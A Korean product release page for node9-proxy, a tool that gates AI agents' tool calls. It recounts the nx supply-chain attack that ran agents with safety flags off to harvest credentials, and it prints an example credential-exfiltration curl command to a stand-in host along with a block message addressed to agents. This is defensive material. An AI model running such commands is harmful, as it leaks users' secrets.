업데이트로 돌아가기
New releaseJul 26, 2026

node9-proxy v1.66.0

에이전틱 시대를 위한 실행 보안 계층입니다. 자율 AI 에이전트에 대해 결정론적 "Sudo" 거버넌스와 감사 로그를 제공합니다.

공유

🛡️ node9

AI 에이전트를 위한 IAM

AI 에이전트는 Slack, GitHub, 이메일, 데이터베이스에 접근할 수 있습니다.
node9는 각 대상에 대해 무엇을 할 수 있는지 결정합니다.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

자격 증명 격리 · 시크릿과 PII · 파괴적인 git, SQL, 셸 명령은 검토를 위해 보류 · MCP 도구 고정 · 네트워크 이그레스 허용 목록 · 루프 차단기 · 12개 에이전트에 걸친 단일 기록

Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 모든 MCP 서버와 함께 작동합니다.

어떻게 보이는가

왼쪽은 에이전트, 오른쪽은 node9입니다. 에이전트가 수행하는 모든 도구 호출은 실행 전에 검사됩니다: 허용 및 기록되거나, 승인을 위해 보류되거나, 차단됩니다. 여기서 에이전트는 --dangerously-skip-permissions로 실행되었지만, node9는 여전히 결정을 내립니다.

node9 monitor: live tool calls, decisions, shields and score

설치

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

그런 다음, 아무 프로젝트에서나:

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Node.js 22+가 필요합니다.

init이 제품의 전부입니다. 훅을 작성하고, 자격 증명 격리와 상시 규칙을 켜고, 즉시 적용을 시작합니다. 어떤 것도 머신을 떠나지 않으며 계정도 필요하지 않습니다.

login은 적용에 아무것도 추가하지 않습니다. 머신을 워크스페이스에 연결하여 팀이 모든 구성원의 노트북과 CI에 걸친 단일 기록을 보고, 중앙에서 정책을 설정하고, 대시보드나 Slack에서 보류된 작업을 승인할 수 있게 합니다. 건너뛰어도 node9는 똑같이, 단독으로, 오프라인으로 작동합니다. node9 logout은 다시 연결을 끊고 로컬 적용은 계속 실행됩니다.

문제

2025년 8월, nx 빌드 도구의 손상된 릴리스가 개발자 머신에 이미 설치된 AI 코딩 에이전트를 찾은 뒤, 자체 안전 플래그를 끈 상태(--dangerously-skip-permissions, --yolo, --trust-all-tools)로 실행하여 SSH 키, 클라우드 자격 증명, 지갑 파일을 열거하고 그 목록을 디스크에 기록하는 설치 후 스크립트를 배포했습니다. 이 스크립트는 결과를 피해자 자신의 GitHub 계정 내 공개 저장소로 푸시했습니다. 에이전트가 시키는 대로 정확히 수행하던 머신에서 1,000개 이상의 유효한 GitHub 토큰이 유출되었고, 클라우드 자격 증명, npm 토큰, 약 20,000개의 파일도 함께 유출되었습니다.

에이전트는 공격자가 아니었습니다. 에이전트는 도구였고, 그것과 파일 사이에는 아무것도 없었습니다. node9의 게이트는 그런 플래그 중 하나가 아닙니다: 훅에서 실행되며, 보류한 작업은 에이전트가 권한을 건너뛰고 시작되었더라도 계속 보류됩니다.

node9가 이에 대해 하는 일

node9는 에이전트와 그것이 호출하는 모든 도구 사이에 위치합니다. 자격 증명 격리(~/.ssh, ~/.aws, .env 파일, 개인 키)는 기본적으로 켜져 있으며, 그런 경로 중 하나를 읽으려는 시도는 실행되지 않습니다. 에이전트는 중지되고, 이유를 듣고, 결정은 여러분에게 전달됩니다:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

명령은 텍스트로 매칭되지 않고 셸 AST로 파싱되므로, 읽기를 감싸도 소용없습니다. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example는 echo가 아니라 ~/.aws/credentials의 읽기로 판정됩니다.

node9는 게이트입니다. 보류된 작업은 여러분을 기다리는 동안 실행되지 않으며, 답하지 않으면 계속 차단된 상태로 남습니다. 그 외의 모든 것은 허용되고 기록에 기록됩니다.

하지 않는 것: 기본값인 이그레스 제어가 꺼져 있으면, curl -d @~/.aws/credentials처럼 파일을 곧바로 네트워크로 넘기는 명령은 그 파일의 읽기로 취급되지 않습니다. node9 egress protect는 목적지도 게이트하며, 셸 명령만을 대상으로 합니다.

직접 검증하기

아래의 어떤 것도 계정이 필요하지 않으며, 아무것도 업로드하지 않습니다.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

관리 대상

각 줄은 하나의 기능이며, 이를 문서화한 페이지가 함께 있습니다. 문서가 참조이고, 이 파일은 지도입니다.

카테고리